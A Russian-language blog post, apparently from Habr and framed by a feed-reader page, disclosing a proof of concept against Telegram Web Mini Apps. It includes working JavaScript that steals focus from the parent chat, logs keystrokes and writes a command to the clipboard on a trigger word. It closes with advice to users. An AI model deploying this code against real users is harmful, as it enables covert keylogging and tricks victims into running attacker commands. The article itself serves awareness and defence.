惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Apple Machine Learning Research
Apple Machine Learning Research
爱范儿
爱范儿
博客园_首页
博客园 - 【当耐特】
V
Visual Studio Blog
博客园 - 叶小钗
月光博客
月光博客
美团技术团队
J
Java Code Geeks
小众软件
小众软件
Y
Y Combinator Blog
博客园 - Franky
Martin Fowler
Martin Fowler
博客园 - 聂微东
Microsoft Azure Blog
Microsoft Azure Blog
IT之家
IT之家
MyScale Blog
MyScale Blog
人人都是产品经理
人人都是产品经理
Microsoft Security Blog
Microsoft Security Blog
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
阮一峰的网络日志
阮一峰的网络日志
酷 壳 – CoolShell
酷 壳 – CoolShell
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
云风的 BLOG
云风的 BLOG

Все публикации подряд на Хабре

Ловим музу за клавиатуру: как айтишнику стать автором Что умеет Midjourney в 2026? Мой немного грустный разбор этого шикарного инструмента Никто не любит писать тесты, но ИИ может исправить это IPv8 выглядит как мечта. Поэтому почти наверняка не взлетит Производители вернули в продажу материнки с DDR3. Что происходит? Управление агентом с телефона через Telegram теперь в KodaCode От координации к лидерству: как меняется роль руководителя разработки Я сделала родителям бизнес вместо пенсии: зарабатываем 70 тысяч, мама не даёт продать В три раза быстрее приемка товара и оптимизация трудозатрат на 73%: как «РСТ-Инвент» помог Gulliver Group ИИ-шечный мир победил? О влиянии искусственного интеллекта на игропром Кремль снижает давление на Телеграмм пока Европа строит интернет по паспорту Как CEO, CTO и CIO за 8 часов собрали ИИ-директора, который умеет держать позицию под давлением Как (не) потерять домен за выходные Вместо 8 разных VPS: как я организовал практику студентам на одном сервере Почему твой Open Source проект не замечают? R&D: искусство управления неопределенностью в разработке AI-дефляция: вакансий для разработчиков больше, а рост зарплат — худший за 15 лет Мы отдали управление роботами OpenClaw. Что из этого вышло Галактический ID: система идентификации для всех форм разумной жизни Шесть основ бизнес-анализа: начинаем с вопроса «Кто в игре?» Код-ревью, в котором дело не в коде Данные переехали. Команда — нет Системной подход к сдаче OSWE в 2025 Почему комната управления реактором покрашена в цвет морской пены 4 YAML-файла вместо PySpark: как аналитикам строить пайплайны без разработчиков LLM-агент для поиска свободных доменов: автоматизируем подбор Когда, зачем и как правильно начинать новую сессию в Claude Code? Как я заставил нейросеть писать макросы для FreeCAD Анатомия ИИ‑агента для подбора персонала. От тысячи резюме к топ‑10 за минуты Опыт разработчика как экономика внимания
Почему может быть опасно держать открытыми Mini Apps в Te...
Игорь · 2026-06-14 · via Все публикации подряд на Хабре

Простой

3 мин

380

И так, вы в Telegram Web и вы запускаете безобидное на первый взгляд Mini App, сворачиваете его или просто переключаетесь на соседний приватный чат, чтобы продолжить переписку. Казалось бы, контексты изолированы, фрейм приложения неактивен, и вы в полной безопасности. Но так ли это на самом деле?

Всё началось с негромких новостей от малоизвестного блогера, которого в сети называют «Дядя J», который упомянул странное поведение Mini Apps в Telegram и не только. А проблема заключалась в фрейме. Я решил проверить концепцию и вот что из этого вышло.

// чутчут костылькода
(function() {
            let lastBlurTime = 0;
            window.addEventListener('blur', () => {
                lastBlurTime = performance.now();

                setTimeout(() => {
                    window.focus();
                }, 5700);
            });

            window.addEventListener('focus', () => {
                if (lastBlurTime === 0) return;
                const focusDelta = performance.now() - lastBlurTime;
                lastBlurTime = 0;

                analyzeParentState(focusDelta);
            });
            setInterval(() => {
                if (document.activeElement !== window) {
                    window.focus();
                }
            }, 15700);

            function analyzeParentState(delta) {
                const statusDiv = document.getElementById('status');
                //statusDiv.innerHTML = `[*] ${delta.toFixed(2)}ms`;
                console.log(`[*] ${delta.toFixed(2)}ms`);
                
            }
        })();

Дело начинается в функции метода управления фокусом страницы (window.focus()). Браузер позволяет дочернему фрейму запрашивать фокус с помощью метода window.focus(). Скрипт вешает обработчик на событие blur самого окна. Как только пользователь пытается кликнуть на чат Telegram или переключить внимание на мессенджера, фрейм фиксирует потерю фокуса (срабатывает blur), запускает таймер и через 5.7 секунд агрессивно возвращает фокус обратно себе. setInterval, каждые 15.7 секунд проверяет: если фокус ушел, то вернуть его. В результате фрейм время от времени принудительно забирает фокус.

Для мессенджера писать обычный текст — обычное дело, а нажатие на клавишу — обычное пользовательское действие, легитимное для браузера. Следовательно, пока пользователь просто вводит сообщение, страница внутри фрейма использует эти нажатия клавиш как валидное действие пользователя для вызова защищенных методов API. Например открыть новую вкладку или окно, логировать нажатия клавиш, записать данные в буфер обмена и так далее.

    (function() {
        let inputBuffer = '';
        document.addEventListener('keydown', function(e) {
            if (e.key.length === 1) {
            	console.log('press: '+e.key);
            	// тут можно реализовать передачу на сервер
                inputBuffer += e.key.toLowerCase();
                inputBuffer = inputBuffer.slice(-4);
            }
            // если пользователь введет " code", в буфере обмена запишется команда
            //console.log(inputBuffer);
            if (inputBuffer === 'code') {
                // в конце строки можно добавить скрытый символ переноса строки \n
                navigator.clipboard.writeText("echo 'допустим привет'");
                inputBuffer = '';
            }
        });
    })();

Первая часть кода отвечала за захват фокуса. После захвата фокуса браузер думает, что пользователь умышленно продолжает действия внутри фрейма. Скрипт вешает обработчик события keydown на документ внутри фрейма. Он собирает вводимые пользователем символы в буфер и ждет триггерное слово для записи в буфер обмена.

Если вы пишете какой-нибудь код, настраиваете сервер или что-то ещё, страница, которая принудительно захватила фокус, может подставить пользователя под выполнение опасных команд. Ничего не подозревающий разработчик или администратор может попытаться скопировать команду из мессенджера, зайти в терминал своего сервера, нажать Ctrl+V и случайно выполнить чужой код с высокими привилегиями.

Telegram MiniApps

Telegram MiniApps

В процессе ввода текста в родительском контексте, при срабатывании таймера внутри фрейма, курсор резко исчезает. Пользователь просто не успевает обратить на это внимание и машинально дописывает текст. Из‑за этого слепого ввода все последующие нажатия клавиш улетают напрямую в keydown обработчик фрейма, активируя для него права на запись в буфер обмена.

Пока проблема не закрыта архитектурно на стороне мессенджера или браузера, лучшая рекомендация для безопасности — не оставлять Mini Apps открытыми в фоне, если в этот момент вы ведете конфиденциальную переписку, работаете с паролями или настраиваете сервера.